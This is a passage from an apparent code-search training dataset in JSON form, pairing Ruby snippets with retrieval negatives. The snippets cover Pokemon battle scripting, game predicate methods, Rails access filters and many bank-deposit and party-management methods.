$Trainer.ablePokemonCount>0 && $PokemonGlobal.partner)\\n thisEvent = pbMapInterpreter.get_character(0)\\n triggeredEvents = $game_player.pbTriggeredTrainerEvents([2],false)\\n otherEvent = []\\n for i in triggeredEvents\\n if i.id!=thisEvent.id && !$game_self_switches[[$game_map.map_id,i.id,\\\"A\\\"]]\\n otherEvent.push(i)\\n end\\n end\\n if otherEvent.length==1\\n trainer = pbLoadTrainer(trainerid,trainername,trainerparty)\\n Events.onTrainerPartyLoad.trigger(nil,trainer)\\n if !trainer\\n pbMissingTrainer(trainerid,trainername,trainerparty)\\n return false\\n end\\n if trainer[2].length<=6\\n $PokemonTemp.waitingTrainer=[trainer,thisEvent.id,endspeech]\\n return false\\n end\\n end\\n end\\n trainer = pbLoadTrainer(trainerid,trainername,trainerparty)\\n Events.onTrainerPartyLoad.trigger(nil,trainer)\\n if !trainer\\n pbMissingTrainer(trainerid,trainername,trainerparty)\\n return false\\n end\\n if $PokemonGlobal.partner && ($PokemonTemp.waitingTrainer || doublebattle)\\n othertrainer = PokeBattle_Trainer.new($PokemonGlobal.partner[1],$PokemonGlobal.partner[0])\\n othertrainer.id = $PokemonGlobal.partner[2]\\n othertrainer.party = $PokemonGlobal.partner[3]\\n playerparty = []\\n for i in 0...$Trainer.party.length\\n playerparty[i] = $Trainer.party[i]\\n end\\n for i in 0...othertrainer.party.length\\n playerparty[6+i] = othertrainer.party[i]\\n end\\n playertrainer = [$Trainer,othertrainer]\\n fullparty1 = true\\n doublebattle = true\\n else\\n playerparty = $Trainer.party\\n playertrainer = $Trainer\\n fullparty1 = false\\n end\\n if $PokemonTemp.waitingTrainer\\n combinedParty = []\\n fullparty2 = false\\n if $PokemonTemp.waitingTrainer[0][2].length>3 || trainer[2].length>3\\n for i in 0...$PokemonTemp.waitingTrainer[0][2].length\\n combinedParty[i] = $PokemonTemp.waitingTrainer[0][2][i]\\n end\\n for i in 0...trainer[2].length\\n combinedParty[6+i] = trainer[2][i]\\n end\\n fullparty2 = true\\n else\\n for i in 0...$PokemonTemp.waitingTrainer[0][2].length\\n combinedParty[i] = $PokemonTemp.waitingTrainer[0][2][i]\\n end\\n for i in 0...trainer[2].length\\n combinedParty[3+i] = trainer[2][i]\\n end\\n end\\n scene = pbNewBattleScene\\n battle = PokeBattle_Battle.new(scene,playerparty,combinedParty,playertrainer,\\n [$PokemonTemp.waitingTrainer[0][0],trainer[0]])\\n battle.fullparty1 = fullparty1\\n battle.fullparty2 = fullparty2\\n battle.doublebattle = battle.pbDoubleBattleAllowed?\\n battle.endspeech = $PokemonTemp.waitingTrainer[2]\\n battle.endspeech2 = endspeech\\n battle.items = [$PokemonTemp.waitingTrainer[0][1],trainer[1]]\\n trainerbgm = pbGetTrainerBattleBGM([$PokemonTemp.waitingTrainer[0][0],trainer[0]])\\n else\\n scene = pbNewBattleScene\\n battle = PokeBattle_Battle.new(scene,playerparty,trainer[2],playertrainer,trainer[0])\\n battle.fullparty1 = fullparty1\\n battle.doublebattle = (doublebattle) ? battle.pbDoubleBattleAllowed? : false\\n battle.endspeech = endspeech\\n battle.items = trainer[1]\\n trainerbgm = pbGetTrainerBattleBGM(trainer[0])\\n end\\n if Input.press?(Input::CTRL) && $DEBUG\\n Kernel.pbMessage(_INTL(\\\"SKIPPING BATTLE...\\\"))\\n Kernel.pbMessage(_INTL(\\\"AFTER LOSING...\\\"))\\n Kernel.pbMessage(battle.endspeech)\\n Kernel.pbMessage(battle.endspeech2) if battle.endspeech2\\n if $PokemonTemp.waitingTrainer\\n pbMapInterpreter.pbSetSelfSwitch($PokemonTemp.waitingTrainer[1],\\\"A\\\",true)\\n $PokemonTemp.waitingTrainer = nil\\n end\\n return true\\n end\\n Events.onStartBattle.trigger(nil,nil)\\n battle.internalbattle = true\\n pbPrepareBattle(battle)\\n restorebgm = true\\n decision = 0\\n Audio.me_stop\\n tr = [trainer]; tr.push($PokemonTemp.waitingTrainer[0]) if $PokemonTemp.waitingTrainer\\n pbBattleAnimation(trainerbgm,(battle.doublebattle) ? 3 : 1,tr) {\\n pbSceneStandby {\\n decision = battle.pbStartBattle(canlose)\\n }\\n pbAfterBattle(decision,canlose)\\n if decision==1\\n if $PokemonTemp.waitingTrainer\\n pbMapInterpreter.pbSetSelfSwitch($PokemonTemp.waitingTrainer[1],\\\"A\\\",true)\\n end\\n end\\n }\\n Input.update\\n pbSet(variable,decision)\\n $PokemonTemp.waitingTrainer = nil\\n return (decision==1)\\nend\",\n \"def has_borne?\\n sncf_self_service_machine == \\\"t\\\"\\n end\",\n \"def has2w\\n #equips.count { |equip| equip.is_a?(RPG::Weapon) } >= 2\\n armi = 0\\n equips.each { |equipment|\\n armi += 1 if equipment.is_a?(RPG::Weapon)\\n }\\n armi >= 2\\n end\",\n \"def enemy_check?\\n spaces_array = @warrior.look(@movement_direction)\\n spaces_array.each do |space|\\n if space.enemy?\\n return true\\n elsif space.captive?\\n return false\\n end\\n end\\n return false\\n end\",\n \"def selected?\\n trip.selected_itinerary == self\\n end\",\n \"def senior_member?\\n\\t\\tsenior != true\\n\\tend\",\n \"def current_golfer?(golfer)\\n \\tgolfer == current_golfer\\n end\",\n \"def enemies_nearby?(warrior)\\n warrior.feel(@@direction).enemy?\\n end\",\n \"def trainer_only\\n if logged_in?\\n \\t@trainer = Trainer.find_by(user_id: current_user.id.to_i)\\n if @trainer.nil?\\n \\tredirect_to root_path, :alert => \\\"Access denied.\\\"\\n else\\n \\tif @trainer.id.to_i != Protege.find_by(user_id: params[:id]).trainer_id.to_i\\n \\t\\tredirect_to root_path, :alert => \\\"Nie masz dostępu do tej karty\\\"\\n \\tend\\n end\\n else\\n redirect_to root_path, :alert => \\\"Access denied.\\\"\\n end\\n end\",\n \"def gorillas_fighting?(gorillas, preserve)\\n count = 0\\n gorillas.each do |g|\\n if g.anger_level > 1 && g.preserve_id == preserve.id\\n count += 1\\n end\\n end\\n count > 1\\n end\",\n \"def knot? = unit == 'knot'\",\n \"def allGameTerrTaken?\\n territory = Territory.find_by(game_id: @game.id, owner_id: -1)\\n print \\\"ALL GAME TERRITORIES TAKEN? \\\"\\n if(territory == nil)\\n\\tprint \\\"True\\\\n\\\"\\n\\treturn true \\n end\\n print \\\"False\\\\n\\\"\\n return false\\n end\",\n \"def ghost_tier\\n tier == 'Ghost / Duch'\\n end\",\n \"def ounce? = unit == 'ounce'\",\n \"def caught_by_player?\\n return flags.anybits?(FLAG_CAUGHT_BY_PLAYER)\\n end\",\n \"def throbbing?\\n return get_throb.running?\\n end\",\n \"def win?(player_check)\\n other = \\\"\\\"\\n player_check == player ? other = dealer : other = player\\n if (player_check == player)&&(player_check.hand_total == other.hand_total)\\n return \\\"Tie\\\"\\n elsif (player_check.bust == false) && (other.bust == false) && (player_check.hand_total > other.hand_total)\\n return true\\n elsif (player_check.hand_total == 21)\\n return true\\n elsif (player_check.bust == false) && (other.bust == false)&&(player_check.hand_total < other.hand_total)\\n return false\\n elsif (player_check.bust == false) && (other.bust == true)\\n return true\\n elsif (player_check.bust == true) && (other.bust == false)\\n return false\\n elsif (player_check.bust = true) && (other.bust == true)\\n return \\\"Bust\\\"\\n end\\n end\",\n \"def superShiny?\\n return self.pokemon && self.pokemon.superShiny?\\n end\",\n \"def trainer_only\\n\\t\\t\\tif logged_in?\\n\\t\\t\\t\\tif Trainer.find_by(user_id: current_user.id.to_i).nil?\\n\\t\\t\\t\\t\\tredirect_to root_path, :alert => \\\"Odmowa dostępu111\\\"\\n\\t\\t\\t\\telsif !active_trainer?\\n\\t\\t\\t\\t\\tredirect_to root_path, :alert => \\\"Odmowa dostępu, musisz byc aktywnym trenerem\\\" \\n\\t\\t\\t\\tend\\n\\n\\t\\t\\telse\\n\\t\\t\\t\\tredirect_to root_path, :alert => \\\"Odmowa dostępu\\\"\\n\\t\\t\\tend\\n\\t\\tend\",\n \"def taking_damage?\\n if @warrior.health < @health\\n true\\n else\\n false\\n end\\n end\",\n \"def can_be_retagged_by?(editor, tier=nil)\\n self.alive? && (editor == self.person || Reputation::Threshold.valid?(:retag_kase, editor, :tier => tier))\\n end\",\n \"def someone_won?\\n !!winnning_marker\\n end\"\n]","isConversational":false},"negative_scores":{"kind":"list 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add_party(bank, party, name = nil, klass = nil, battler = nil, bag = nil)\n @parties[bank] ||= []\n @parties[bank] << party\n @names[bank] ||= []\n @names[bank] << name if name\n @classes[bank] ||= []\n @classes[bank] << klass if klass\n @battlers[bank] ||= []\n @battlers[bank] << battler if battler\n @bags[bank] ||= []\n @bags[bank] << (bag || PFM::Bag.new)\n end"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def add_party(party, which_party)\n case which_party\n when 'payer'\n @payer_party = party\n\n when 'payee'\n @payee_party = party\n\n else\n # TODO: Return an error\n end\n end","def add_party(new_party)\n# add the new party to the array\n @list << new_party\n# make the new party the last entry in the array\n @list.last\n end","def add_bank_account bank_account_uri\n self.bank_account_uri = bank_account_uri\n save\n end","def add_if_match(party)\n add_to = if party.name == @payer\n 'payer'\n elsif party.name == @payee\n 'payee'\n end\n\n add_party(party, add_to) if add_to\n end","def add_to_bank\n @bank.push(@letter)\n end","def add_account(id, balance)\n my_account = Bank::Account.new( id: id, balance: balance, owner: self )\n end","def add_account(id, balance)\n my_account = Bank::Account.new( id: id, balance: balance, owner: self )\n end","def add_bank_transfer(from, to, amount)\n amount = amount.round(2)\n logger.debug \"Transferring #{amount} from #{from} to #{to}\"\n @api.put('BankTransfers', {\n 'FromBankAccount' => { 'Code' => from },\n 'ToBankAccount' => { 'Code' => to },\n 'Amount' => amount,\n 'Date' => @export.date.strftime('%Y-%m-%d')\n })['BankTransfers'].first\n end","def set_counterparty\n @counterparty = Counterparty.find(params[:id])\n @bank_accounts = @counterparty.bank_accounts\n end","def add_owner(id) #account.add_owner(number that you get from Bank::Owner.new)\n @owner_id = id #adriana_account.add_owner(adriana_owner.user_id)\n end","def deposit(amt)\n @bank_acct += amt\n puts \"Your balance is #{@bank_acct}.\"\n end","def add_amount(amount)\n @balance += amount\n end","def create_first_party(party_sym, current_user)\n\t\tparty = self.namespaced_class(party_sym).new()\n\t\tparty.contact = current_user.contacts[0]\n\t\tparty.contact_strategy = nil \n\t\tself.parties << party\t# implicit party.save()\n\t\tparty\n\tend","def pbAddToParty(pokemon,level=nil,seeform=true)\n return false if !pokemon || !$Trainer || $Trainer.party.length>=6\n if pokemon.is_a?(String) || pokemon.is_a?(Symbol)\n pokemon = getID(PBSpecies,pokemon)\n end\n if pokemon.is_a?(Integer) && level.is_a?(Integer)\n pokemon = PokeBattle_Pokemon.new(pokemon,level,$Trainer)\n end\n speciesname = PBSpecies.getName(pokemon.species)\n Kernel.pbMessage(_INTL(\"\\\\me[Pkmn get]{1} obtained {2}!\\1\",$Trainer.name,speciesname))\n pbNicknameAndStore(pokemon)\n pbSeenForm(pokemon) if seeform\n return true\nend","def add_bank_account(name:, account_number:, routing_number:, category:, type:, **args)\n data = {\n type: 'ACH-US',\n info: {\n nickname: args[:nickname] || name,\n name_on_account: name,\n account_num: account_number,\n routing_num: routing_number,\n type: category,\n class: type\n },\n extra: {\n supp_id: args[:supp_id]\n }\n }\n nodes.create(data)\n end","def despositing_adds_transaction_to_bank_statement\n account = BankAccount.new\n account.deposit('10-01-2012', 1000)\n p account\n p account.bank_statement\nend","def set_party\n @party = Party.find(params[:id])\n end","def set_party\n @party = Party.find(params[:id])\n end","def set_party\n @party = Party.find(params[:id])\n end","def set_party\n @party = Party.find(params[:id])\n end","def set_party\n @party = Party.find(params[:id])\n end","def set_party\n @party = Party.find(params[:id])\n end","def set_party\n @party = Party.find(params[:party_id])\n end","def set_Party(value)\n set_input(\"Party\", value)\n end","def set_Party(value)\n set_input(\"Party\", value)\n end","def set_Party(value)\n set_input(\"Party\", value)\n end","def set_Party(value)\n set_input(\"Party\", value)\n end","def add_to_bank\n @user.balance -= 10\n @croupier.balance -= 10\n @bank = 20\n end","def set_party\n \t@party = Party.find(params[:id])\n end","def set_Party(value)\n set_input(\"Party\", value)\n end","def set_Party(value)\n set_input(\"Party\", value)\n end","def create\n Party.create(party_params)\n redirect_to order_tickets_path\n end","def add_credit(amount)\n raise Transfer::NegativeAmountException if(amount < 0)\n self.lines.create(amount: self.balance + amount)\n self.balance += amount\n end","def get_paid(bank_account)\n @bank_account += bank_account\n \"all about the benjamins\"\n end","def set_party\n @party = Party.find_by(:code => params[:code])\n end","def give_shnack_credit(creditor_id, amount)\n @creditor = User.find(creditor_id)\n creditor.account_credit = creditor.account_credit + amount\n end","def set_party\n unless params[:party_id].blank?\n @party = Party.find(params[:party_id])\n else\n @party = params[:id] ? Party.find(params[:id]) : Party.new(party_params)\n end\n end","def deposit(name, amount)\n find_account(name)[:balance] += amount\n end","def add_bank_account(bank_account)\n if bank_account.kind_of?(Balanced::BankAccount) && bank_account.fingerprint.nil?\n bank_account.save\n end\n self.bank_account_uri = Balanced::Utils.extract_uri_from_object(bank_account)\n save\n end","def deposit(money_to_deposit)\n @balance += money_to_deposit\n end","def gain(money)\n\t\tself.bank_amount += money\n\t\tself.save\n\tend","def contractor_add\n\n # get the cliebt\n @client = Client.find(params[:client_id])\n\n # get the contract\n @contract = Contract.find(params[:id])\n\n # get the contractor\n @contractor = ContractorUser.find(params[:contractor_id])\n\n # if the contractor is not already added, add!\n\n @contract.contractor_user=@contractor\n @contract.save!\n redirect_to edit_client_contract_path(@client, @contract, :contracts_page => @contracts_page, :status => @status)\n\n end","def add_account(payload)\n post(url_, payload)\n end","def add_fund\n invoice = Spree::PaymentMethod::BitPayment.first.create_invoice(add_fund_params)\n @invoice_url = \"#{invoice['url']}\"\n render json: @invoice_url.to_json\n end","def create\n @party = Party.new(params[:party])\n\n respond_to do |format|\n if @party.save\n format.html { redirect_to @party, notice: 'Party was successfully created.' }\n format.json { render json: @party, status: :created, location: @party }\n else\n format.html { render action: \"new\" }\n format.json { render json: @party.errors, status: :unprocessable_entity }\n end\n end\n end","def create\n @party = Party.new(party_params)\n\n respond_to do |format|\n if @party.save\n format.html { redirect_to @party, notice: 'Party was successfully created.' }\n format.json { render :show, status: :created, location: @party }\n else\n format.html { render :new }\n format.json { render json: @party.errors, status: :unprocessable_entity }\n end\n end\n end","def open_account(name, amount)\n accounts.push({ :name => name, :balance => amount }) if amount >= 200\n end","def console_add_money(amount)\n credits.create!(amount: amount, note: \"Admin added #{amount} cents\")\n end","def deposit(amount)\n @balance += amount\n end","def deposit(amount)\n @balance += amount\n end","def deposit(amount)\n @balance += amount\n end","def add_industry\n\t\tif params[:ok] # OK\n industry = Industry.find_by_name params[:industry][:name]\n industry.profiles.each do |profile|\n p = Portfolio.new\n p.profile = profile\n User.find(session[:user_id]).portfolios << p\n end\n \n # Reset status and delete all Pm/investors since quotes are clear. \n reset_without_agent_reserved\n \n flash[:notice] = \"#{industry.name} industry was successfully added to your portfolio.\"\n redirect_to :action => 'list'\n\t\telse # Cancel\n\t\t\tredirect_to :action => 'list'\n\t\tend\n end","def deposit_cash(deposit_amount)\n @balance += deposit_amount\n end","def party_params\n params.require(:party).permit(:result_no, :generate_no, :e_no, :party_type, :party)\n end","def create\n @party = Party.new(party_params)\n\n respond_to do |format|\n if @party.save\n format.html { redirect_to @party, notice: '作成しました。' }\n format.json { render :show, status: :created, location: @party }\n else\n format.html { render :new }\n format.json { render json: @party.errors, status: :unprocessable_entity }\n end\n end\n end","def add_money_to_wallet\n puts \"\\n-----------------------\".colorize(:blue)\n puts \"How much more money do you want to add?\".colorize(:red)\n print \"> $\"\n new_money = gets.to_i\n @player.wallet += new_money\n puts \"Your wallet now has: $#{@player.wallet}\".colorize(:blue)\n end","def deposit ( person, amount )\r\n\t\tif person.worth >= amount\r\n\t\t@bank_listing[person.id_number][:balance]+=amount\r\n\t\tputs \"#{@bank_name}: Thanks #{person.name}, you deposited #{amount}. Your current balance is $#{@bank_listing[person.id_number][:balance]}.\"\r\n\t\telse\r\n\t\t\tputs \"#{@bank_name}: Sorry, you don't have enough on hand.\"\r\n\t\tend\r\n\tend","def deposit(amount)\n @balance += amount\n end","def deposit(amount)\n @balance += amount\n end","def deposit(amount)\n @balance += amount\n end","def deposit(amount)\n @balance += amount\n end","def deposit(amount)\n @balance += amount\n @balance\n end","def deposit(cash)\n @balance += cash\n end","def deposit(deposit_amount)\n self.balance += deposit_amount\n end","def add(cash)\n @current_balance = @current_balance + cash\n end","def add_credit\n#\t\tcurrent_user.update(balance: current_user.balance + params[:amount])\n\tend","def deposit(deposit_amount)\n self.balance += deposit_amount\n end","def add_bank_account\n\n get_balanced_key\n\n account_uri = params[:account_uri]\n company_name = \"Mindfire Solutions\"\n\n ##You can set your customer business / company name here \n customer = Balanced::Customer.new({name: company_name}).save\n customer_uri = customer.href\n get_customer = Balanced::Customer.fetch(customer_uri)\n \n bank_account = Balanced::BankAccount.fetch(account_uri)\n bank_account.associate_to_customer(customer_uri)\n \n ##befor debiting your customer you need to verify their bank account as per balanced payment\n bank_account = Balanced::BankAccount.fetch(account_uri)\n verify_bank_account = bank_account.verify\n verification = Balanced::BankAccountVerification.fetch(verify_bank_account.href)\n verification.confirm(\n amount_1 = 1,\n amount_2 = 1\n )\n \n amount_in_dollars = params[:amount].to_i\n #amount_in_dollars * 100 convert into cents\n debit = bank_account.debit(:amount => amount_in_dollars * 100, appears_on_statement_as: \"Debit Amount\")\n \n ##You can save the response in your db for future use\n #debit.transaction_number\n #debit.amount\n #debit.statusdebit.created_at\n \n #get your balanced marketplace\n marketplace = Balanced::Marketplace.my_marketplace\n \n credit = get_marketplace_bank_account.credit(:amount => debit.amount, appears_on_statement_as: \"Credit Amount\")\n\n \n return render json: {success: [\"Debit Transaction:: #{debit.attributes}\", \"Credit Transaction:: #{credit.attributes}\"] }\n\n end","def add_account(xml, credit_card)\n xml.Account do\n xml.Holder credit_card.name\n xml.Number credit_card.number\n xml.Brand credit_card.brand.upcase\n xml.Expiry(:month => credit_card.month, :year => credit_card.year)\n xml.Verification credit_card.verification_value\n end\n end","def party_params\n params.require(:party).permit()\n end","def withdraw ( person, amount )\r\n\t\tif @bank_listing[person.id_number][:balance] >= amount\r\n\t\t\t@bank_listing[person.id_number][:balance]-=amount\r\n\t\t\tputs \"#{@bank_name}: Thanks #{person.name}, here's your $#{amount}. Your current balance is $#{@bank_listing[person.id_number][:balance]}.\"\r\n\t\telse\r\n\t\t\tputs \"#{@bank_name}: Sorry #{person.name}, insufficient funds.\"\r\n\t\tend\r\n\tend","def addOpenBet (betID)\r\n @openBets.add(betID)\r\n end","def add_stock_to_account(company, price)\n stock = Stock.new\n stock.company = company\n stock.price = price\n stocks.push(stock)\n end","def add_financial_data(request, money, options)\r\n request.Set(RocketGate::GatewayRequest::AMOUNT, amount(money))\r\n request.Set(RocketGate::GatewayRequest::CURRENCY, options[:currency] || currency(money))\r\n end","def save_beneficiary(deposit, address)\n if address.blank?\n Rails.logger.warn(\"Deposit #{deposit.id} has no address to save beneficiaries\")\n return\n end\n Rails.logger.info(\"Save #{address} as beneficiary for #{deposit.account.id}\")\n\n beneficiary_name = [ENV.fetch('BENEFICIARY_PREFIX', 'bitzlato'), address].compact.join(':')\n\n blockchain.currencies.each do |currency|\n deposit.account.member.beneficiaries\n .create_with(data: { address: address }, state: :active)\n .find_or_create_by!(\n name: beneficiary_name,\n currency: currency\n )\n end\n rescue StandardError => e\n report_exception e, true, { deposit_id: deposit.id, address: address }\n end","def deposit(money)\n @balance += money\nend","def add_member_to_card\n @trello.add_commander_to_card(find_member, @card)\n end","def credit(postive_amount)\n Credit.create!(team: team,\n room_type: room_type,\n amount: postive_amount)\n end","def add_account\n update_attribute(:account_id, Account.current.id)\n end","def withdraw!(amount, destination_account_id, dedupe_id = SecureRandom.uuid)\n data = {\n amount: amount,\n destination_account_id: destination_account_id,\n dedupe_id: dedupe_id,\n }\n\n response = Monzo.client.put(\"/pots/#{@id}/withdraw\", data)\n parsed_response = parse_response(response)\n update_self(parsed_response)\n end","def load_bills_party(party)\n params = {'sponsor.party' => party}\n @bills = process('bills', 'bills', params)\n end","def deposit(amount)\n @balance = @balance + amount\n end","def open ( person )\r\n\t\t@bank_listing[person.id_number] = {:name => person.name, :balance => 0}\r\n\t\tputs \"#{@bank_name}:Thank you for joining, #{person.name}! Your balance is currently #{@bank_listing[person.id_number][:balance]}!\"\r\n\tend","def offer_contract(startup, invested_amt, investment_type)\n new_funding_round = FundingRound.new(startup, self, investment_type, invested_amt) \nend","def reward\n business.add_to_balance(amount)\n end","def deposit(amount_of_money)\n return @balance + amount_of_money\n end","def add_obligation(expense, name, amount)\n return unless expense.obligations.where(user_id: self.id).empty?\n\n obligation = ExpenseObligation.new(name: name, amount: amount)\n obligation.user = self\n obligation.expense = expense\n obligation.save!\n obligation\n end","def add_bet_amount(amount_added)\n @bet_amount = bet_amount + amount_added\n end","def withdraw amount, month, day\n raise ArgumentError, 'Insufficient credit!' if amount + @balance > MAX_CREDIT\n # create transaction entry\n @transactions[month] << Line.new(day, month, amount)\n @balance += amount\n end","def add_card(card)\n @addhand = @addhand + card\n end","def add_account(account)\n @accounts[account.id] = account\n end","def spend(amount)\r\n @spend += amount\r\n end","def register_players(party, controller)\n return if party.blank?\n\n party.each_with_index do |pc, index|\n add(pc, :a, position: \"spawn_point_#{index + 1}\", controller: controller)\n end\n @current_party = party\n @combat_order = party\n end","def credit(amount)\n\t\t@revenue += amount\n\tend","def create\n @counterparty = Counterparty.new(counterparty_params)\n @counterparty.owner = current_user\n\n respond_to do |format|\n if @counterparty.save\n format.html { redirect_to @counterparty, notice: \"Counterparty was successfully created.\" }\n format.json { render :show, status: :created, location: @counterparty }\n else\n format.html { render :new }\n format.json { render json: @counterparty.errors, status: :unprocessable_entity }\n end\n end\n end","def add_money\n @total += fee\n end","def bank; end","def set_party_info\n @party_info = PartyInfo.find(params[:id])\n end","def deposit(t)\n\n @balance += t.amount\n t.currBalance = @balance\n @ledger << t\n\n end","def party_params\n params.require(:party).permit(:user_id, :code_id, :role, :state)\n end"],"string":"[\n \"def add_party(party, which_party)\\n case which_party\\n when 'payer'\\n @payer_party = party\\n\\n when 'payee'\\n @payee_party = party\\n\\n else\\n # TODO: Return an error\\n end\\n end\",\n \"def add_party(new_party)\\n# add the new party to the array\\n @list << new_party\\n# make the new party the last entry in the array\\n @list.last\\n end\",\n \"def add_bank_account bank_account_uri\\n self.bank_account_uri = bank_account_uri\\n save\\n end\",\n \"def add_if_match(party)\\n add_to = if party.name == @payer\\n 'payer'\\n elsif party.name == @payee\\n 'payee'\\n end\\n\\n add_party(party, add_to) if add_to\\n end\",\n \"def add_to_bank\\n @bank.push(@letter)\\n end\",\n \"def add_account(id, balance)\\n my_account = Bank::Account.new( id: id, balance: balance, owner: self )\\n end\",\n \"def add_account(id, balance)\\n my_account = Bank::Account.new( id: id, balance: balance, owner: self )\\n end\",\n \"def add_bank_transfer(from, to, amount)\\n amount = amount.round(2)\\n logger.debug \\\"Transferring #{amount} from #{from} to #{to}\\\"\\n @api.put('BankTransfers', {\\n 'FromBankAccount' => { 'Code' => from },\\n 'ToBankAccount' => { 'Code' => to },\\n 'Amount' => amount,\\n 'Date' => @export.date.strftime('%Y-%m-%d')\\n })['BankTransfers'].first\\n end\",\n \"def set_counterparty\\n @counterparty = Counterparty.find(params[:id])\\n @bank_accounts = @counterparty.bank_accounts\\n end\",\n \"def add_owner(id) #account.add_owner(number that you get from Bank::Owner.new)\\n @owner_id = id #adriana_account.add_owner(adriana_owner.user_id)\\n end\",\n \"def deposit(amt)\\n @bank_acct += amt\\n puts \\\"Your balance is #{@bank_acct}.\\\"\\n end\",\n \"def add_amount(amount)\\n @balance += amount\\n end\",\n \"def create_first_party(party_sym, current_user)\\n\\t\\tparty = self.namespaced_class(party_sym).new()\\n\\t\\tparty.contact = current_user.contacts[0]\\n\\t\\tparty.contact_strategy = nil \\n\\t\\tself.parties << party\\t# implicit party.save()\\n\\t\\tparty\\n\\tend\",\n \"def pbAddToParty(pokemon,level=nil,seeform=true)\\n return false if !pokemon || !$Trainer || $Trainer.party.length>=6\\n if pokemon.is_a?(String) || pokemon.is_a?(Symbol)\\n pokemon = getID(PBSpecies,pokemon)\\n end\\n if pokemon.is_a?(Integer) && level.is_a?(Integer)\\n pokemon = PokeBattle_Pokemon.new(pokemon,level,$Trainer)\\n end\\n speciesname = PBSpecies.getName(pokemon.species)\\n Kernel.pbMessage(_INTL(\\\"\\\\\\\\me[Pkmn get]{1} obtained {2}!\\\\1\\\",$Trainer.name,speciesname))\\n pbNicknameAndStore(pokemon)\\n pbSeenForm(pokemon) if seeform\\n return true\\nend\",\n \"def add_bank_account(name:, account_number:, routing_number:, category:, type:, **args)\\n data = {\\n type: 'ACH-US',\\n info: {\\n nickname: args[:nickname] || name,\\n name_on_account: name,\\n account_num: account_number,\\n routing_num: routing_number,\\n type: category,\\n class: type\\n },\\n extra: {\\n supp_id: args[:supp_id]\\n }\\n }\\n nodes.create(data)\\n end\",\n \"def despositing_adds_transaction_to_bank_statement\\n account = BankAccount.new\\n account.deposit('10-01-2012', 1000)\\n p account\\n p account.bank_statement\\nend\",\n \"def set_party\\n @party = Party.find(params[:id])\\n end\",\n \"def set_party\\n @party = Party.find(params[:id])\\n end\",\n \"def set_party\\n @party = Party.find(params[:id])\\n end\",\n \"def set_party\\n @party = Party.find(params[:id])\\n end\",\n \"def set_party\\n @party = Party.find(params[:id])\\n end\",\n \"def set_party\\n @party = Party.find(params[:id])\\n end\",\n \"def set_party\\n @party = Party.find(params[:party_id])\\n end\",\n \"def set_Party(value)\\n set_input(\\\"Party\\\", value)\\n end\",\n \"def set_Party(value)\\n set_input(\\\"Party\\\", value)\\n end\",\n \"def set_Party(value)\\n set_input(\\\"Party\\\", value)\\n end\",\n \"def set_Party(value)\\n set_input(\\\"Party\\\", value)\\n end\",\n \"def add_to_bank\\n @user.balance -= 10\\n @croupier.balance -= 10\\n @bank = 20\\n end\",\n \"def set_party\\n \\t@party = Party.find(params[:id])\\n end\",\n \"def set_Party(value)\\n set_input(\\\"Party\\\", value)\\n end\",\n \"def set_Party(value)\\n set_input(\\\"Party\\\", value)\\n end\",\n \"def create\\n Party.create(party_params)\\n redirect_to order_tickets_path\\n end\",\n \"def add_credit(amount)\\n raise Transfer::NegativeAmountException if(amount < 0)\\n self.lines.create(amount: self.balance + amount)\\n self.balance += amount\\n end\",\n \"def get_paid(bank_account)\\n @bank_account += bank_account\\n \\\"all about the benjamins\\\"\\n end\",\n \"def set_party\\n @party = Party.find_by(:code => params[:code])\\n end\",\n \"def give_shnack_credit(creditor_id, amount)\\n @creditor = User.find(creditor_id)\\n creditor.account_credit = creditor.account_credit + amount\\n end\",\n \"def set_party\\n unless params[:party_id].blank?\\n @party = Party.find(params[:party_id])\\n else\\n @party = params[:id] ? Party.find(params[:id]) : Party.new(party_params)\\n end\\n end\",\n \"def deposit(name, amount)\\n find_account(name)[:balance] += amount\\n end\",\n \"def add_bank_account(bank_account)\\n if bank_account.kind_of?(Balanced::BankAccount) && bank_account.fingerprint.nil?\\n bank_account.save\\n end\\n self.bank_account_uri = Balanced::Utils.extract_uri_from_object(bank_account)\\n save\\n end\",\n \"def deposit(money_to_deposit)\\n @balance += money_to_deposit\\n end\",\n \"def gain(money)\\n\\t\\tself.bank_amount += money\\n\\t\\tself.save\\n\\tend\",\n \"def contractor_add\\n\\n # get the cliebt\\n @client = Client.find(params[:client_id])\\n\\n # get the contract\\n @contract = Contract.find(params[:id])\\n\\n # get the contractor\\n @contractor = ContractorUser.find(params[:contractor_id])\\n\\n # if the contractor is not already added, add!\\n\\n @contract.contractor_user=@contractor\\n @contract.save!\\n redirect_to edit_client_contract_path(@client, @contract, :contracts_page => @contracts_page, :status => @status)\\n\\n end\",\n \"def add_account(payload)\\n post(url_, payload)\\n end\",\n \"def add_fund\\n invoice = Spree::PaymentMethod::BitPayment.first.create_invoice(add_fund_params)\\n @invoice_url = \\\"#{invoice['url']}\\\"\\n render json: @invoice_url.to_json\\n end\",\n \"def create\\n @party = Party.new(params[:party])\\n\\n respond_to do |format|\\n if @party.save\\n format.html { redirect_to @party, notice: 'Party was successfully created.' }\\n format.json { render json: @party, status: :created, location: @party }\\n else\\n format.html { render action: \\\"new\\\" }\\n format.json { render json: @party.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def create\\n @party = Party.new(party_params)\\n\\n respond_to do |format|\\n if @party.save\\n format.html { redirect_to @party, notice: 'Party was successfully created.' }\\n format.json { render :show, status: :created, location: @party }\\n else\\n format.html { render :new }\\n format.json { render json: @party.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def open_account(name, amount)\\n accounts.push({ :name => name, :balance => amount }) if amount >= 200\\n end\",\n \"def console_add_money(amount)\\n credits.create!(amount: amount, note: \\\"Admin added #{amount} cents\\\")\\n end\",\n \"def deposit(amount)\\n @balance += amount\\n end\",\n \"def deposit(amount)\\n @balance += amount\\n end\",\n \"def deposit(amount)\\n @balance += amount\\n end\",\n \"def add_industry\\n\\t\\tif params[:ok] # OK\\n industry = Industry.find_by_name params[:industry][:name]\\n industry.profiles.each do |profile|\\n p = Portfolio.new\\n p.profile = profile\\n User.find(session[:user_id]).portfolios << p\\n end\\n \\n # Reset status and delete all Pm/investors since quotes are clear. \\n reset_without_agent_reserved\\n \\n flash[:notice] = \\\"#{industry.name} industry was successfully added to your portfolio.\\\"\\n redirect_to :action => 'list'\\n\\t\\telse # Cancel\\n\\t\\t\\tredirect_to :action => 'list'\\n\\t\\tend\\n 